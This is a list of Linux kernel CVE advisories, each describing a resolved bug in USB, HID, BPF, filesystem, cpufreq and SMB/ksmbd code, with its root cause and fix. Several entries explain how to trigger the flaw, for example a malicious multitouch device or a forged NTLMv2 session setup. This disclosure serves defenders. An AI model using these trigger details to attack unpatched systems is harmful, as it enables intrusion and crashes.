| CVE-2026-64348 | In the Linux kernel, the following vulnerability has been resolved: usb: free iso schedules on failed submit EHCI and FOTG210 isochronous submits build an ehci_iso_sched before linking the URB to the endpoint queue, and keep the staged schedule in urb->hcpriv until iso_stream_schedule() and the link helpers consume it. If the controller is no longer accessible, or usb_hcd_link_urb_to_ep() fails, submit jumps to done_not_linked before that handoff happens and leaks the staged schedule still attached to urb->hcpriv. Free the staged schedule from done_not_linked when submit fails before the URB is linked and clear urb->hcpriv after the free. The bug was first flagged by an experimental analysis tool we are developing for kernel memory-management bugs while analyzing v6.13-rc1. The tool is still under development and is not yet publicly available. Manual inspection confirms that the bug is still present in v7.1.1. An x86_64 allyesconfig build showed no new warnings. As we do not have an EHCI host controller with a USB isochronous device to test with, no runtime testing was able to be performed. |
| CVE-2026-64350 | In the Linux kernel, the following vulnerability has been resolved: usb: cdnsp: fix stream context array leak in cdnsp_alloc_stream_info() cdnsp_alloc_stream_info() allocates stream_info->stream_ctx_array with cdnsp_alloc_stream_ctx(). If a later stream ring allocation or stream mapping update fails, the error path frees the allocated stream rings and stream_rings array, but leaves stream_ctx_array allocated. Free the stream context array before falling through to the stream_rings cleanup path. |
| CVE-2026-64351 | In the Linux kernel, the following vulnerability has been resolved: net: usb: kalmia: bound RX frame length in kalmia_rx_fixup() kalmia_rx_fixup() computes usb_packet_length = skb->len - (2 * KALMIA_HEADER_LENGTH) as a u16, guarded only by a pre-loop check that skb->len is at least KALMIA_HEADER_LENGTH, which is 6. A device can deliver a short bulk-IN frame with skb->len in the 6 to 11 range, or leave a short trailing remainder on a later loop iteration. Either case underflows usb_packet_length to about 65530. That bypasses the usb_packet_length < ether_packet_length truncation path. The device-supplied ether_packet_length, a le16 up to 65535 read from header_start[2], then drives a memcmp() and the following skb_trim() and skb_pull() past the end of the rx buffer. The rx buffer is hard_mtu * 10, which is 14000 bytes. That is an out of bounds read. Require both the start and end framing headers to be present before subtracting them, on every loop iteration. |
| CVE-2026-64352 | In the Linux kernel, the following vulnerability has been resolved: bpf: Allow LPM map access from sleepable BPF programs trie_lookup_elem() annotates its rcu_dereference_check() walks with only rcu_read_lock_bh_held(). Because rcu_dereference_check(p, c) resolves to "c || rcu_read_lock_held()", this passes for XDP/NAPI and classic RCU readers but fails for sleepable BPF programs, which enter via __bpf_prog_enter_sleepable() and hold only rcu_read_lock_trace(). trie_update_elem() and trie_delete_elem() have the same problem in a different form: they walk the trie with plain rcu_dereference(), which asserts rcu_read_lock_held() unconditionally. Both are reachable from sleepable BPF programs via the bpf_map_update_elem / bpf_map_delete_elem helpers, and from the syscall path under classic rcu_read_lock(). In the writer paths the trie is actually protected by trie->lock (an rqspinlock taken across the walk); we never relied on the RCU read-side lock to keep nodes alive there. A sleepable LSM hook that ends up touching an LPM trie therefore triggers lockdep on debug kernels: ============================= WARNING: suspicious RCU usage 7.1.0-... Tainted: G E ----------------------------- kernel/bpf/lpm_trie.c:249 suspicious rcu_dereference_check() usage! 1 lock held by net_tests/540: #0: (rcu_tasks_trace_srcu_struct){....}-{0:0}, at: __bpf_prog_enter_sleepable+0x26/0x280 Call Trace: dump_stack_lvl lockdep_rcu_suspicious trie_lookup_elem bpf_prog_..._enforce_security_socket_connect bpf_trampoline_... security_socket_connect __sys_connect do_syscall_64 This is lockdep-only -- no UAF, since Tasks Trace RCU does serialize against the trie's reclaim path -- but it spams the console once per distinct callsite on every debug kernel running a sleepable BPF LSM that touches an LPM trie, which is increasingly common. For the lookup path, switch the rcu_dereference_check() annotation from rcu_read_lock_bh_held() to bpf_rcu_lock_held(), which accepts all three contexts (classic, BH, Tasks Trace). Other map types already follow this convention. For trie_update_elem() and trie_delete_elem(), annotate the walks as rcu_dereference_protected(*p, 1) -- matching trie_free() in the same file -- since trie->lock is held across the walk. rqspinlock has no lockdep_map, so the predicate degenerates to '1' rather than lockdep_is_held(&trie->lock); the protection is real but not machine-verifiable. trie_get_next_key() also uses bare rcu_dereference() but is reachable only from the BPF syscall, which holds classic rcu_read_lock() before dispatching, so it is left untouched. |
| CVE-2026-64355 | In the Linux kernel, the following vulnerability has been resolved: bpf: Reject fragmented frames in devmap Devmap broadcast redirects clone the packet for all but the last destination. For native XDP, that clone path copies only the linear xdp_frame data, while fragmented frames keep skb_shared_info in tailroom outside the linear area. Cloning such a frame leaves XDP_FLAGS_HAS_FRAGS set but without valid frag metadata, and the later free path can interpret uninitialized tail data as skb_shared_info, leading to an out-of-bounds access during frame return. Reject fragmented native XDP frames in dev_map_enqueue_clone(). Add the same restriction to the generic XDP clone path in dev_map_redirect_clone(). Generic XDP represents fragmented packets as nonlinear skbs, and rejecting them here keeps clone-based broadcast support aligned between native and generic XDP. |
| CVE-2026-64358 | In the Linux kernel, the following vulnerability has been resolved: media: mtk-jpeg: cancel workqueue on release for supported platforms only Since a recent fix the mtk_jpeg_release function cancels any pending or running work present in the driver workqueue using cancel_work_sync function. Currently, only the multicore based variants use this workqueue and they have the jpeg_worker platform data field initialized with a workqueue callback function. For the others, this field value remain NULL by default. The cancel_work_sync function is unconditionally called in mtk_jpeg_release function, even for the variants that do not use the workqueue. This call generates a WARN_ON print in __flush_work because the workqueue callback function presence check fails in __flush_work function (used by cancel_work_sync). So, to avoid these warnings, call cancel_work_sync only if a workqueue callback is defined in platform data. |
| CVE-2026-64359 | In the Linux kernel, the following vulnerability has been resolved: nilfs2: reject CLEAN_SEGMENTS ioctl with out-of-range segment numbers Syzbot reported a hung task in nilfs_transaction_begin() where multiple tasks performing chmod() on a nilfs2 mount blocked for over 143 seconds waiting to acquire ns_segctor_sem for read: INFO: task syz.0.17:5918 blocked for more than 143 seconds. Call Trace: schedule+0x164/0x360 rwsem_down_read_slowpath+0x6d9/0x940 down_read+0x99/0x2e0 nilfs_transaction_begin+0x364/0x710 fs/nilfs2/segment.c:221 nilfs_setattr+0x124/0x2c0 fs/nilfs2/inode.c:921 notify_change+0xc1a/0xf40 chmod_common+0x273/0x4a0 do_fchmodat+0x12d/0x230 The writer holding ns_segctor_sem was a concurrent NILFS_IOCTL_CLEAN_SEGMENTS caller, stuck inside printk while emitting per-element warnings from nilfs_sufile_updatev(): __nilfs_msg+0x373/0x450 fs/nilfs2/super.c:78 nilfs_sufile_updatev+0x21c/0x6d0 fs/nilfs2/sufile.c:186 nilfs_sufile_freev fs/nilfs2/sufile.h:93 [inline] nilfs_free_segments fs/nilfs2/segment.c:1140 [inline] nilfs_segctor_collect_blocks fs/nilfs2/segment.c:1261 [inline] nilfs_segctor_do_construct+0x1f55/0x76c0 nilfs_clean_segments+0x3bd/0xa50 nilfs_ioctl_clean_segments fs/nilfs2/ioctl.c:922 [inline] nilfs_ioctl+0x261f/0x2780 The root cause is that user-supplied segment numbers are not validated before nilfs_clean_segments() begins doing work; the range check on each segnum is performed deep inside the call chain by nilfs_sufile_updatev(), which emits a nilfs_warn() per invalid entry while still holding the segctor lock and the sufile mi_sem. Under load (repeated invocations across multiple mounts saturating the global printk path), the cumulative printk latency keeps ns_segctor_sem held long enough to trip the hung_task watchdog, blocking concurrent operations such as chmod() that need ns_segctor_sem for read. Fix by validating the contents of kbufs[4] in nilfs_clean_segments() immediately after acquiring ns_segctor_sem via nilfs_transaction_lock(). Holding ns_segctor_sem serializes the check against nilfs_ioctl_resize(), which can modify ns_nsegments, so the validation uses a consistent value. Out-of-range segment numbers are rejected with -EINVAL before any segment-cleaning work begins, so the bad entries never reach the per-element diagnostic path inside nilfs_sufile_updatev(). |
| CVE-2026-64360 | In the Linux kernel, the following vulnerability has been resolved: hfs/hfsplus: zero-initialize buffer in hfs_bnode_read hfs_bnode_read() can return early without writing to the output buffer when is_bnode_offset_valid() fails or when check_and_correct_requested_ length() corrects the length to zero. Callers such as hfs_bnode_read_ u16() and hfs_bnode_read_u8() pass stack-allocated buffers and use the result unconditionally, leading to KMSAN uninit-value reports. Rather than initializing at each individual call site, zero the buffer at the start of hfs_bnode_read() before any validation checks. This ensures all callers in both hfs and hfsplus get a deterministic zero value regardless of which early-return path is taken. |
| CVE-2026-64361 | In the Linux kernel, the following vulnerability has been resolved: hfs/hfsplus: fix u32 overflow in check_and_correct_requested_length check_and_correct_requested_length() compares (off + len) against node_size using u32 arithmetic. When the caller passes a large len value (e.g. from an underflowed subtraction in hfs_brec_remove()), off + len can wrap past 2^32 and produce a small result, causing the bounds check to pass when it should fail. For example, with off=14 and len=0xFFFFFFF2 (underflowed from data_off - keyoffset - size in hfs_brec_remove), off + len wraps to 6, which is less than a typical node_size of 512, so the check passes and the subsequent memmove reads ~4GB past the node buffer. Fix this by widening the addition to u64 before comparing against node_size. This prevents the u32 wrap while keeping the logic straightforward. |
| CVE-2026-64362 | In the Linux kernel, the following vulnerability has been resolved: HID: lg-g15: cancel pending work on remove to fix a use-after-free lg_g15_data is allocated with devm and holds a work item. The report handlers schedule that work straight from device input. lg_g15_event() and lg_g15_v2_event() do it on the backlight cycle key, and lg_g510_leds_event() does it too. The worker dereferences the lg_g15_data back through container_of. The driver had no remove callback and never cancelled the work. So if a report scheduled the work and the keyboard was then unplugged, devres freed lg_g15_data while the work was still pending or running, and the worker touched freed memory. This is a use-after-free. It is reachable as a race on device unplug. Add a remove callback that cancels the work before devres frees the state. g15->work is only initialized for the models that schedule it (G15, G15 v2, G510). The G13 and Z-10 leave it zeroed, so guard the cancel on g15->work.func to avoid cancelling a work that was never set up. The g15 NULL test mirrors the one already in lg_g15_raw_event(). |
| CVE-2026-64363 | In the Linux kernel, the following vulnerability has been resolved: HID: appleir: fix UAF on pending key_up_timer in remove() appleir_remove() runs hid_hw_stop() before timer_delete_sync(). hid_hw_stop() synchronously unregisters the HID input device via hid_disconnect() -> hidinput_disconnect() -> input_unregister_device(), which drops the last reference and frees the underlying input_dev when no userspace handle holds it open. key_up_tick() reads appleir->input_dev and calls input_report_key() / input_sync() on it. The timer is armed from appleir_raw_event() with a HZ/8 (~125 ms) timeout on every keydown and key-repeat report. If a key was pressed shortly before the device is disconnected, the timer can fire after hid_hw_stop() has freed input_dev but before the teardown drains it. A simple reorder is not sufficient. Putting the timer drain first still leaves a window where a USB URB completion (raw_event) running during hid_hw_stop() can call mod_timer() and re-arm the timer, which then fires after hidinput_disconnect() has freed input_dev. The same URB-completion window also lets raw_event() reach key_up(), key_down() and battery_flat() directly, all of which dereference appleir->input_dev. Introduce a 'removing' flag on struct appleir, gated by the existing spinlock. appleir_remove() sets the flag under the lock and then shuts down the timer with timer_shutdown_sync(), which both drains any in-flight callback and permanently disables further mod_timer() calls. appleir_raw_event() and key_up_tick() bail out early if the flag is set, so no path can arm or run the timer, or dereference appleir->input_dev, after remove() has started tearing down. The keyrepeat and flatbattery branches of appleir_raw_event() previously called into the input layer without holding the spinlock; take it now so the flag check is well-defined. This incidentally closes a pre-existing read-side race on appleir->current_key in the keyrepeat branch. This bug is structurally a sibling of commit 4db2af929279 ("HID: appletb-kbd: fix UAF in inactivity-timer cleanup path") and has been present since the driver was introduced. |
| CVE-2026-64364 | In the Linux kernel, the following vulnerability has been resolved: HID: multitouch: fix out-of-bounds bit access on mt_io_flags mt_io_flags is a single unsigned long, but mt_process_slot(), mt_release_pending_palms() and mt_release_contacts() use it as a per-slot bitmap indexed by the slot number. That slot number is only bounded by td->maxcontacts, which is taken from the device's ContactCountMaximum feature report and can be up to 255, not by BITS_PER_LONG. As a result, a multitouch device that advertises a large contact count makes set_bit()/clear_bit() operate past the mt_io_flags word and corrupt the adjacent members of struct mt_device. The sticky-fingers release timer is the easiest way to reach this. mt_release_contacts() runs for (i = 0; i < mt->num_slots; i++) clear_bit(i, &td->mt_io_flags); with num_slots == maxcontacts. For maxcontacts around 250 the loop clears the bits that overlap td->applications.next, zeroing that list head, and the list_for_each_entry() that immediately follows then dereferences NULL. The kernel panics from timer (softirq) context. On a KASAN build this shows up as a general protection fault in mt_release_contacts() with a null-ptr-deref at offset 0x58, which is offsetof(struct mt_application, num_received). The state is reachable from an untrusted USB or Bluetooth HID multitouch device; no local privileges are required. Store the per-slot active state in a separately allocated bitmap sized for maxcontacts, the same pattern already used for pending_palm_slots, and keep only MT_IO_FLAGS_RUNNING in mt_io_flags. The two "mt_io_flags & MT_IO_SLOTS_MASK" arming checks become bitmap_empty(td->active_slots, td->maxcontacts). Move MT_IO_FLAGS_RUNNING back to bit 0. It was bumped to bit 32 by the same commit to leave the low byte for the slot bits; with the slot bits gone it fits in bit 0 again, which also keeps it within the unsigned long on 32-bit. |
| CVE-2026-64365 | In the Linux kernel, the following vulnerability has been resolved: HID: letsketch: fix UAF on inrange_timer at driver unbind letsketch_driver does not provide a .remove callback, but letsketch_probe() arms a per-device timer: timer_setup(&data->inrange_timer, letsketch_inrange_timeout, 0); The timer is re-armed from letsketch_raw_event() with a 100 ms timeout on every pen-in-range report, and its callback dereferences data->input_tablet to deliver a synthetic BTN_TOOL_PEN release. letsketch_data is allocated with devm_kzalloc(), and its input_dev fields are devm-allocated via letsketch_setup_input_tablet(). On device unbind (USB unplug or rmmod), the HID core runs its default teardown and devm cleanup frees both letsketch_data and the input devices. Because no .remove callback exists, nothing drains the timer first: if raw_event armed it within ~100 ms of the unbind, the pending timer fires on freed memory. This is a UAF read of data and of data->input_tablet, followed by input_report_key() / input_sync() into the freed input_dev. The same problem can occur on the probe error path: if hid_hw_start() enabled I/O on an always-poll-quirk device and then failed, raw_event may have armed the timer before devm releases data. Fix by adding a .remove callback that calls hid_hw_stop() first. hid_hw_stop() synchronously kills the URBs that deliver raw_event(), so once it returns no path can re-arm the timer. timer_shutdown_sync() then drains any in-flight callback and permanently disables further mod_timer() calls. Apply the same timer_shutdown_sync() in the probe error path so the timer is guaranteed not to outlive data. |
| CVE-2026-64368 | In the Linux kernel, the following vulnerability has been resolved: mm/slab: do not limit zeroing to orig_size when only red zoning is enabled When init (zeroing) on allocation is requested, for kmalloc() we generally have to zero the full object size even if a smaller size is requested, in order to provide krealloc()'s __GFP_ZERO guarantees. But if we track the requested size, krealloc() uses that information to do the right thing, so we can zero only the requested size. With red zoning also enabled, any extra size became part of the red zone, so it must not be zeroed and thus we must zero only the requested size. However the current check is imprecise, and will trigger also when only SLAB_RED_ZONE is enabled without SLAB_STORE_USER (which enables tracking the requested size). This means enabling red zoning alone can compromise krealloc()'s __GFP_ZERO contract. Fix this by using slub_debug_orig_size() instead, which is the exact check for whether the requested size is tracked. We don't need to care if red zoning is also enabled or not. Also update and expand the comment accordingly. |
| CVE-2026-64369 | In the Linux kernel, the following vulnerability has been resolved: s390: Revert support for DCACHE_WORD_ACCESS load_unaligned_zeropad() reads eight bytes from unaligned addresses and may cross page boundaries. It handles exceptions which may happen if reading from the second page results in an exception. For pages which are donated to the Ultravisor for secure execution purposes the do_secure_storage_access() exception handler however does not handle such exceptions correctly. Such an exception may result in an endless exception loop which will never be resolved. An attempt to fix this [1] turned out to be not sufficient. For now revert load_unaligned_zeropad() until this problem has been resolved in a proper way. Note that the implementation of load_unaligned_zeropad() itself is correct. The revert is just a temporary workaround until there is complete fix for secure storage access exceptions. [1] commit b00be77302d7 ("s390/mm: Add missing secure storage access fixups for donated memory") |
| CVE-2026-64370 | In the Linux kernel, the following vulnerability has been resolved: posix-cpu-timers: Fix pid refcount leak in do_cpu_nanosleep() error path In do_cpu_nanosleep(), posix_cpu_timer_create() takes a pid reference via get_pid() and stores it in timer.it.cpu.pid. If the subsequent posix_cpu_timer_set() call fails, the function returns immediately without calling posix_cpu_timer_del() to release the pid reference, causing a leak. Fix it by calling posix_cpu_timer_del() before the unlock-and-return on the error path, consistent with the other exit paths in the same function. |
| CVE-2026-64371 | In the Linux kernel, the following vulnerability has been resolved: proc: protect ptrace_may_access() with exec_update_lock (part 1) Fix the easy cases where procfs currently calls ptrace_may_access() without exec_update_lock protection, where the fix is to simply add the extra lock or use mm_access(): - do_task_stat(): grab exec_update_lock - proc_pid_wchan(): grab exec_update_lock - proc_map_files_lookup(): use mm_access() instead of get_task_mm() - proc_map_files_readdir(): use mm_access() instead of get_task_mm() - proc_ns_get_link(): grab exec_update_lock - proc_ns_readlink(): grab exec_update_lock |
| CVE-2026-64372 | In the Linux kernel, the following vulnerability has been resolved: cpufreq: pcc: fix use-after-free and double free in _OSC evaluation pcc_cpufreq_do_osc() calls acpi_evaluate_object() twice for the two-phase _OSC negotiation. Between the two calls it freed output.pointer but left output.length unchanged. Since acpi_evaluate_object() treats a non-zero length with a non-NULL pointer as an existing buffer to write into, the second call wrote into freed memory (use-after-free). The subsequent kfree(output.pointer) at out_free then freed the same pointer a second time (double free). Reset output.pointer to NULL and output.length to ACPI_ALLOCATE_BUFFER after freeing the first result, so ACPICA allocates a fresh buffer for each phase independently. |
| CVE-2026-64373 | In the Linux kernel, the following vulnerability has been resolved: cpufreq: Fix hotplug-suspend race during reboot During system reboot, cpufreq_suspend() is called via the kernel_restart() -> device_shutdown() path. Unlike the normal system suspend path, the reboot path does not call freeze_processes(), so userspace processes and kernel threads remain active. This allows CPU hotplug operations to run concurrently with cpufreq_suspend(). The original code has no synchronization with CPU hotplug, leading to a race condition where governor_data can be freed by the hotplug path while cpufreq_suspend() is still accessing it, resulting in a null pointer dereference: Unable to handle kernel NULL pointer dereference Call Trace: do_kernel_fault+0x28/0x3c cpufreq_suspend+0xdc/0x160 device_shutdown+0x18/0x200 kernel_restart+0x40/0x80 arm64_sys_reboot+0x1b0/0x200 Fix this by adding cpus_read_lock()/cpus_read_unlock() to cpufreq_suspend() to block CPU hotplug operations while suspend is in progress. [ rjw: Changelog edits ] |
| CVE-2026-64374 | In the Linux kernel, the following vulnerability has been resolved: sched/rt: Have RT_PUSH_IPI be default off for non PREEMPT_RT RT migration is done aggressively. When a CPU schedules out a high priority RT task for a lower priority task, it will look to see if there's any RT tasks that are waiting to run on another CPU that is of higher priority than the task this CPU is about to run. If it finds one, it will pull that task over to the CPU and allow it to run there instead. Normally, this pulling is done by looking at the RT overloaded mask (rto) which contains all the CPUs in the scheduler domain with RT tasks that are waiting to run due to a higher priority RT task currently running on their CPU. The CPU that is about to schedule a lower priority task will grab the rq lock of the overloaded CPU and move the RT task from that CPU's runqueue to the local one and schedule the higher priority RT task. This caused issues when a lot of CPUs would schedule a lower priority task at the same time. They would all try to grab the same runqueue lock of the CPU with the overloaded RT tasks. Only the first CPU that got in will get that task. All the others would wait until they got the runqueue lock and see there's nothing to pull and do nothing. On systems with lots of CPUs, this caused a large latency (up to 500us) which is beyond what PREEMPT_RT is to allow. The solution to that was to create an RT_PUSH_IPI logic. When any CPU wanted to pull a task, instead of grabbing the runqueue lock of the overloaded CPU, it would start by sending an IPI to the overloaded CPU, and that IPI handler would have the CPU with the waiting RT task do a push instead. Then that handler would send an IPI to the next CPU with overloaded RT tasks, and so on. Note, after the first CPU starts this process, if another CPU wanted to do a pull, it would see that the process has already begun and would only increment a counter to have the IPIs continue again. The RT_PUSH_IPI solved the latency problem with PREEMPT_RT but could cause a new issue with non PREEMPT_RT. Namely, softirqs run in a threaded context on PREEMPT_RT but they can run in an interrupt context in non-RT. If an IPI lands on a CPU that has just woken up multiple RT tasks and the current CPU is running a non RT or a low priority RT task, instead of doing a push, it would simply do a schedule on that CPU. But if a softirq was also executing on this CPU, the schedule would need to wait until the softirq finished. Until then, the CPU would still be considered overloaded as there are RT tasks still waiting to run on it. A live lock occurred on a workload that was doing heavy networking traffic on a large machine where the softirqs would run 500us out of 750us. And it would also be waking up RT tasks, causing the RT pull logic to be constantly executed. When a softirq triggered on a CPU with RT tasks queued but not running yet, and the other CPUs would see this CPU as being overloaded, they would send an IPI over to it. The CPU would notice that the waiting RT tasks are of higher priority than the currently running task and simply schedule that CPU instead. But because the softirq was executing, before it could schedule, it would receive another IPI to do the same. The amount of IPIs would slow down the currently running softirq so much that before it could return back to task context, it would execute another softirq never allowing the CPU to schedule. This live locked that CPU. As RT_PUSH_IPI was created to help PREEMPT_RT, make it default off if PREEMPT_RT is not enabled. |
| CVE-2026-64375 | In the Linux kernel, the following vulnerability has been resolved: proc: protect ptrace_may_access() with exec_update_lock (FD links) proc_pid_get_link() and proc_pid_readlink() currently look up the task from the pid once, then do the ptrace access check on that task, then look up the task from the pid a second time to do the actual access. That's racy in several ways. To fix it, pass the task to the ->proc_get_link() handler, and instead of proc_fd_access_allowed(), introduce a new helper call_proc_get_link() that looks up and locks the task, does the access check, and calls ->proc_get_link(). |
| CVE-2026-64376 | In the Linux kernel, the following vulnerability has been resolved: firmware_loader: fix device reference leak in firmware_upload_register() firmware_upload_register() -> fw_create_instance() -> device_initialize() After fw_create_instance() succeeds, the lifetime of the embedded struct device is expected to be managed through the device core reference counting, since fw_create_instance() has already called device_initialize(). In firmware_upload_register(), if alloc_lookup_fw_priv() fails after fw_create_instance() succeeds, the code reaches free_fw_sysfs and frees fw_sysfs directly instead of releasing the device reference with put_device(). This may leave the reference count of the embedded struct device unbalanced, resulting in a refcount leak. The issue was identified by a static analysis tool I developed and confirmed by manual review. Fix this by using put_device(fw_dev) in the failure path and letting fw_dev_release() handle the final cleanup, instead of freeing the instance directly from the error path. |
| CVE-2026-64377 | In the Linux kernel, the following vulnerability has been resolved: cpufreq: qcom-cpufreq-hw: Fix possible double free qcom_cpufreq.data is allocated with devm_kzalloc() in probe() as an array of per-domain data. qcom_cpufreq_hw_cpu_init() stores a pointer to one element of this array in policy->driver_data. qcom_cpufreq_hw_cpu_exit() currently calls kfree() on policy->driver_data. This is not valid because the memory is devm-managed. For the first domain, this can free the devm-managed allocation while the devres entry is still active, leading to a possible double free when the platform device is later detached. For other domains, the pointer may refer to an element inside the array rather than the allocation base. Remove the kfree(data) call and let devres release qcom_cpufreq.data. This issue was found by a static analysis tool I am developing. |
| CVE-2026-64378 | In the Linux kernel, the following vulnerability has been resolved: writeback: fix race between cgroup_writeback_umount() and inode_switch_wbs() When a container exits, the following BUG_ON() is occasionally triggered: ================================================================== VFS: Busy inodes after unmount of sdb (ext4) ------------[ cut here ]------------ kernel BUG at fs/super.c:695! CPU: 3 PID: 6 Comm: containerd-shim Tainted: G OE K 6.6 #1 pstate: 63400009 (nZCv daif +PAN -UAO +TCO +DIT -SSBS BTYPE=--) pc : generic_shutdown_super+0xf0/0x100 lr : generic_shutdown_super+0xf0/0x100 Call trace: generic_shutdown_super+0xf0/0x100 kill_block_super+0x20/0x48 ext4_kill_sb+0x28/0x60 deactivate_locked_super+0x54/0x130 deactivate_super+0x84/0xa0 cleanup_mnt+0xa4/0x140 __cleanup_mnt+0x18/0x28 task_work_run+0x78/0xe0 do_notify_resume+0x204/0x240 ================================================================== The root cause is a race between cgroup_writeback_umount() and inode_switch_wbs()/cleanup_offline_cgwb(). There is a window between inode_prepare_wbs_switch() returning true and the subsequent wb_queue_isw() call. Following is the process that triggers the issue: CPU A (umount) | CPU B (writeback) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ inode_switch_wbs/cleanup_offline_cgwb atomic_inc(&isw_nr_in_flight) inode_prepare_wbs_switch -> passes SB_ACTIVE check __iget(inode) generic_shutdown_super sb->s_flags &= ~SB_ACTIVE cgroup_writeback_umount(sb) smp_mb() atomic_read(&isw_nr_in_flight) rcu_barrier() -> no pending RCU callbacks flush_workqueue(isw_wq) -> nothing queued, returns evict_inodes(sb) -> Inode skipped as isw still holds a ref. sop->put_super(sb) /* destroys percpu counters */ -> VFS: Busy inodes after unmount! wb_queue_isw() queue_work(isw_wq, ...) /* later in work function */ inode_switch_wbs_work_fn process_inode_switch_wbs iput() -> evict percpu_counter_dec() // UAF! Fix this by extending the RCU read-side critical section in inode_switch_wbs() and cleanup_offline_cgwb() to cover from inode_prepare_wbs_switch() through wb_queue_isw(). Since there is no sleep in this window, rcu_read_lock() can be used. Then add a synchronize_rcu() in cgroup_writeback_umount() before the existing rcu_barrier(), so that all in-flight switchers that have passed the SB_ACTIVE check have completed queue_work() before flush_workqueue() is called. The existing rcu_barrier() is intentionally retained so this fix can be backported unchanged to stable kernels (5.10.y, 6.6.y, ...) that still queue switches via queue_rcu_work(). It is a no-op on current mainline (since commit e1b849cfa6b6 ("writeback: Avoid contention on wb->list_lock when switching inodes")) and is removed in a follow-up patch. |
| CVE-2026-64379 | In the Linux kernel, the following vulnerability has been resolved: smb: client: mask server-provided mode to 07777 in modefromsid When modefromsid is active, parse_dacl() applies the server-provided sub_auth[2] value from the NFS mode SID to cf_mode without masking to 07777. Apply the correct masking, same as in the read path. |
| CVE-2026-64380 | In the Linux kernel, the following vulnerability has been resolved: smb: client: harden POSIX SID length parsing posix_info_sid_size() reads sid[1] to obtain the subauthority count, but its existing boundary check still accepts buffers with only one remaining byte. Require two bytes before reading sid[1] so all client paths that reuse the helper reject truncated POSIX SIDs safely. |
| CVE-2026-64381 | In the Linux kernel, the following vulnerability has been resolved: smb: client: Fix next buffer leak in receive_encrypted_standard() receive_encrypted_standard() allocates next_buffer before checking whether the number of compound PDUs already reached MAX_COMPOUND. If the limit check fails, the function returns immediately and the newly allocated next_buffer is not assigned to server->smallbuf/server->bigbuf, making it leaked. Move the MAX_COMPOUND check before allocating next_buffer. |
| CVE-2026-64382 | In the Linux kernel, the following vulnerability has been resolved: smb: client: fix double-free in SMB2_open() replay A response-bearing attempt can return a replayable error and free its response buffer. If SMB2_open_init() fails before the next send, cleanup retains the previous buffer type and frees that response again. Reset response bookkeeping before each attempt to prevent the stale free. |
| CVE-2026-64383 | In the Linux kernel, the following vulnerability has been resolved: smb: client: fix double-free in SMB2_flush() replay SMB2_flush() keeps its response buffer bookkeeping across replay attempts. If a replayable flush response is received and the retry then fails before cifs_send_recv() stores a replacement response, flush_exit will free the stale response pointer a second time. Reinitialize resp_buftype and rsp_iov at the top of the replay loop so cleanup only acts on response state produced by the current attempt. This fixes a double-free without changing replay handling for successful requests. |
| CVE-2026-64384 | In the Linux kernel, the following vulnerability has been resolved: smb: client: fix change notify replay double-free A response-bearing attempt can return a replayable error and free its response buffer. If SMB2_notify_init() fails before the next send, cleanup retains the previous buffer type and frees that response again. Reset response bookkeeping before each attempt to prevent the stale free. |
| CVE-2026-64385 | In the Linux kernel, the following vulnerability has been resolved: smb: client: fix double-free in SMB2_ioctl() replay A response-bearing attempt can return a replayable error and free its response buffer. If SMB2_ioctl_init() fails before the next send, cleanup retains the previous buffer type and frees that response again. Reset response bookkeeping before each attempt to prevent the stale free. |
| CVE-2026-64386 | In the Linux kernel, the following vulnerability has been resolved: smb: client: fix query_info() replay double-free A response-bearing attempt can return a replayable error and free its response buffer. If SMB2_query_info_init() fails before the next send, cleanup retains the previous buffer type and frees that response again. Reset response bookkeeping before each attempt to prevent the stale free. |
| CVE-2026-64387 | In the Linux kernel, the following vulnerability has been resolved: smb: client: fix query directory replay double-free A response-bearing attempt can return a replayable error and free its response buffer. If SMB2_query_directory_init() fails before the next send, cleanup retains the previous buffer type and frees that response again. Reset response bookkeeping before each attempt to prevent the stale free. |
| CVE-2026-64388 | In the Linux kernel, the following vulnerability has been resolved: smb/client: fix chown/chgrp with SMB3 POSIX Extensions Ownership (chown) and group (chgrp) modifications were being ignored when mounting with SMB3 POSIX Extensions unless CIFS_MOUNT_CIFS_ACL or CIFS_MOUNT_MODE_FROM_SID were also explicitly set. Fix this by checking for posix_extensions in cifs_setattr_nounix() when updating UID and GID, ensuring that id_mode_to_cifs_acl() is called to map and set the ownership/group information on the server. |
| CVE-2026-64389 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate NTLMv2 response before updating session key ksmbd_auth_ntlmv2() derives the NTLMv2 session key into sess->sess_key before it verifies the NTLMv2 response. ksmbd_decode_ntlmssp_auth_blob() then continues into KEY_XCH even when ksmbd_auth_ntlmv2() failed. With SMB3 multichannel binding, the failed authentication operates on an existing session and the session setup error path does not expire binding sessions. A client can send a binding session setup with a bad NT proof and KEY_XCH and still modify sess->sess_key before STATUS_LOGON_FAILURE is returned. Relevant path: smb2_sess_setup() -> conn->binding = true -> ntlm_authenticate() -> session_user() -> ksmbd_decode_ntlmssp_auth_blob() -> ksmbd_auth_ntlmv2() -> calc_ntlmv2_hash() -> hmac_md5_usingrawkey(..., sess->sess_key) -> crypto_memneq() returns mismatch -> KEY_XCH arc4_crypt(..., sess->sess_key, ...) -> out_err without expiring the binding session Derive the base session key into a local buffer and copy it to sess->sess_key only after the proof matches. Return immediately on authentication failure so KEY_XCH is only processed after successful authentication. |
| CVE-2026-64390 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: track the connection owning a byte-range lock SMB2_LOCK adds each granted byte-range lock to both the file lock list and the lock list of the connection which handled the request. The final close and durable handle paths, however, remove the connection list entry while holding fp->conn->llist_lock. With SMB3 multichannel, the connection handling the LOCK request can be different from the connection which opened the file. The entry can therefore be removed under a different spinlock from the one protecting the list it belongs to. A concurrent traversal can then access freed struct ksmbd_lock and struct file_lock objects. Record the connection owning each lock's clist entry and hold a reference to it while the entry is linked. Use that connection and its llist_lock for unlock, rollback, close, and durable preserve. Durable reconnect assigns the new connection as the owner when publishing the locks again. |
| CVE-2026-64391 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: use opener credentials for ADS I/O Alternate data streams are stored as xattrs. Unlike regular file I/O, their read and write paths therefore call VFS xattr helpers which recheck inode permissions and LSM policy using the current task credentials. Run ADS I/O with the credentials captured when the SMB handle was opened. |
| CVE-2026-64392 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: use opener credentials for delete-on-close Delete-on-close can be completed by deferred or durable handle teardown, where no request work is available. Both the base-file unlink and the ADS xattr removal consequently run with the ksmbd worker credentials and can bypass filesystem permission checks. Run both operations with the credentials captured in struct file when the handle was opened. This preserves the authenticated user's fsuid, fsgid, supplementary groups and capability restrictions at final close. |
